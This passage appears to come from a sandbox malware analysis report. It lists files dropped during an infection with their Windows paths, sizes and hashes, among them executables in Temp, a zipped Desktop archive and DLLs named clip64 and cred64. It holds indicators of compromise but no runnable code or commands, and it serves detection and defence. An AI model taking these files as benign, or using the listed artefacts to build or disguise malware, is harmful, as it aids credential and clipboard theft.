- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\1001063001\Tcgprylsch.exe
- Size 2.4MB
- SHA256 6ee5b0595ce9ca29e97c2029236b7df8e4161cd1015954cc9a2c15760c88806c
- MD5 69c9404e02e3d62bf925fb6f3e904393
- SHA1 d9e1c766d54244ed5ad97bed3055ccecbd7e08fd
- SHA512 209975e9cfe82e3aa0d02410936633eb95682fbf5d31cb8947361fbabcbfad8341fc0888989d5585be86d6a54d55d1c3d57b05cde71014860cf815118ab90e89
- SSDEEP 49152:Y595sprIpplsv4dX2/aLg2IJw7hP61YzXfKSM/:Y7w+44t2/6jaw7hP6uflM
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\1001065001\koooooo.exe
- Size 379KB
- SHA256 23b62a27e3f5c424b16f31e5009af4f24c8bd13b1f035f87879e2a29236be7a0
- MD5 90f41880d631e243cec086557cb74d63
- SHA1 cb385e4172cc227ba72baf29ca1c4411fa99a26d
- SHA512 eeb85b34aa66a7e9a1b1807012999ee439433df23126a52ffa8d4b3cb2026be3bcf63ca25f143de58ba929c0d4feeaf2a603fd6ec6b5379fc48147c22f3783e3
- SSDEEP 6144:bJpEcFOcL0W0UXTAwutvdygbqD7jHSm6xBkNLt9kAWHtXMErCU8Oe:bJpdFOg0UUXNdxqLf6Xy8H/rCU8Oe
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\831553292808_Desktop.zip
- Size 91KB
- SHA256 6ea6e433a01622186beffa198baebe031eda1d9ce661b3ae3e8afadc4a2929a7
- MD5 2783f974d69db155e769d422840a3721
- SHA1 74f87d2ed62db2ae7659f4682da5ba7cd244e80e
- SHA512 b7badf60b146f5d454e00f841fc923c9ace6d8fe76e91c627bfc47936234df3259e76166f78d8e7353688c8c2bef08932d911eb313c795880a81e8b1bf97b60f
- SSDEEP 1536:jTrz7Tym3RbTMeTmIO8/Iy7aOiDNHjzWKrL7kuD27u/naBfjBT5ZzIwt+NgGeSNq:j2mhseT1kOiDNvPfgi/naBLJCSG7dvK
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\_Files_\WriteApprove.doc
- Size 91KB
- SHA256 e1fbcdde91b6eafffc67e4639be8d6cae013c15afe64ca4e61d0fb2548bf03dd
- MD5 793f86ac8562943236273c94a63b13e1
- SHA1 262c5602cb3a2dbfd03248015edb69391cd8703d
- SHA512 3e92bb7ece677c4703de9dedf0f8198e3b6f2d5337f4230240e70213c2636298686e27a96ad733b0825c9f741f2a5c7499aac2a46c19e335e3864c3cc66a764a
- SSDEEP 1536:sTrz7Tym3RbTMeDmIO8/Iy7aOiDNHjzoKrL7kuD27ujnaBfjBr5ZzIwt+NgGzSNM:s2mhseD1kOiDNvRfgijnaBnJCSG+dvs
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jq5t1cqb.pde.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll
- Size 109KB
- SHA256 8d31b39170909595b518b1a03e9ec950540fabd545ed14817cac5c84b91599ee
- MD5 2afdbe3b99a4736083066a13e4b5d11a
- SHA1 4d4856cf02b3123ac16e63d4a448cdbcb1633546
- SHA512 d89b3c46854153e60e3fa825b394344eee33936d7dbf186af9d95c9adae54428609e3bf21a18d38fce3d96f3e0b8e4e0ed25cb5004fbe288de3aef3a85b1d93f
- SSDEEP 3072:xE5kJp+s5aP40bGsuZR+SVhJQ3ICRv4l:m5ka2obfuZR7Py4l
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll
- Size 1.2MB
- SHA256 b4588feacc183cd5a089f9bb950827b75df04bd5a6e67c95ff258e4a34aa0d72
- MD5 92fbdfccf6a63acef2743631d16652a7
- SHA1 971968b1378dd89d59d7f84bf92f16fc68664506
- SHA512 b8ea216d4a59d8858fd4128abb555f8dcf3acca9138e663b488f09dc5200db6dc11ecc235a355e801145bbbb44d7beac6147949d75d78b32fe9cfd2fa200d117
- SSDEEP 24576:ZvkQL6YY4wMPSYZofkf0Gh6Pi41+a9uyP5dgg/l+yC7:ZsMPSYcS5wPi095PbgWl
- MD5 SHA1 SHA512 SSDEEP